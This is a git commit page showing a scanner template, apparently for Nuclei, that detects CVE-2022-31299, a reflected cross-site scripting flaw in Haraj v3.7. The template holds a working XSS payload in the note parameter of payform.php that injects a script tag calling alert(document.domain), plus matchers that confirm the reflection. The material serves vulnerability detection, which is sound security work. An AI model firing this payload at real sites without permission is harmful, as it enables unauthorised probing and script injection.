Merge pull request #5383 from edoardottt/master

Add CVE-2022-31299
patch-1
Prince Chaddha 2022-09-18 10:22:44 +05:30 committed by GitHub
commit b10b3505ac
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 39 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: CVE-2022-31299
info:
name: Haraj v3.7 - Cross Site Scripting
author: edoardottt
severity: medium
description: |
Haraj v3.7 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in the User Upgrade Form.
reference:
- https://github.com/bigzooooz/CVE-2022-31299
- https://nvd.nist.gov/vuln/detail/CVE-2022-31299
classification:
cve-id: CVE-2022-31299
metadata:
verified: true
tags: cve,cve2022,haraj,xss
requests:
- method: GET
path:
- "{{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1&note=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '><script>alert(document.domain)</script></textarea>'
- 'content="nextHaraj'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200